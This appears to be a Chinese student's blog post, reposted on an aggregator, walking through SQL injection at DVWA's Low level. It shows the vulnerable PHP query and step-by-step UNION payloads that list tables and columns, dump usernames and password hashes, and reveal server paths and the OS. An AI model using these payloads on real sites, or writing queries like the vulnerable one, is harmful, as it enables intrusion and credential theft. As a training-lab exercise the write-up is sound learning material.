dvwa学习sql注入 low级别

刚刚学习web安全,老师第二节课就让用dvwa学习sql注入了,下面是我自己通过书上的学习以及在dvwa摸索的过程,求大牛们多多指点,勿要喷我

级别:Low

dvwa学习sql注入 low级别_第1张图片

从页面上看到,有一个可以提交查询内容的地方

我们可以通过以下步骤判断这里是否存在注入点

① 输入1  提交

dvwa学习sql注入 low级别_第2张图片

②输入1' 提交


③输入1 and 1=1 提交

dvwa学习sql注入 low级别_第3张图片

④输入1 and 1=2提交

dvwa学习sql注入 low级别_第4张图片

由上可以看出是存在注入点的,  我们猜测sql查询语句是这样的:  

select First name的列名 and Surname的列名 from 表名 where id的列名 ='我们输入的id'
我们看一下这里的源码  果然真的是这样,没有任何过滤


if( isset( $_REQUEST'Submit' ] ) ) {
    
// Get input
    
$id $_REQUEST'id' ];

    
// Check database
    
$query  "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    
$result mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '

. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res false)) . '
);

    
// Get results
    
while( $row mysqli_fetch_assoc$result ) ) {
        
// Get values
        
$first $row["first_name"];
        
$last  $row["last_name"];

        
// Feedback for end user
        
echo "
ID: {$id}First name: {$first}Surname: {$last}
"
;
    }

    
mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

那么我们首先爆出它的库试试,用单引号让id闭合

输入 1' union select 1,database()#提交

dvwa学习sql注入 low级别_第5张图片

可以看出目前使用的数据库为dvwa,接下来我们爆表试试

输入 1' union select 1,table_name from information_schema.tables where table_name='dvwa'#

dvwa学习sql注入 low级别_第6张图片

可以看到有两个表,我们爆一下users的列,

输入1' union select 1,column_name from information_schema.columns where table_name='users'#

dvwa学习sql注入 low级别_第7张图片

可以看出有好多的列,但是重要的应该是user列和password列,我们爆出这两列的字段内容

输入 1' union select 1,concat(user,password) from users#

dvwa学习sql注入 low级别_第8张图片

或者输入 1' union select 1,concat_ws(char(32,58,32),user,password) from users#

这里32为空格  58位冒号  输出显示内容就是 user : password

dvwa学习sql注入 low级别_第9张图片

这里就差不多把重要的数据都给爆出来了,只不过是加密后的  可以直接在线解密

接下来我们训练一下其他的注入

查看数据库路径、mysql安装路径和操作系统

输入 1' union select 1,concat(@@datadir,@@basedir,@@version_compile_os)#

dvwa学习sql注入 low级别_第10张图片

就先玩这么多了  今后再努力学习  大家也好好加油~

你可能感兴趣的:(dvwa学习sql注入 low级别)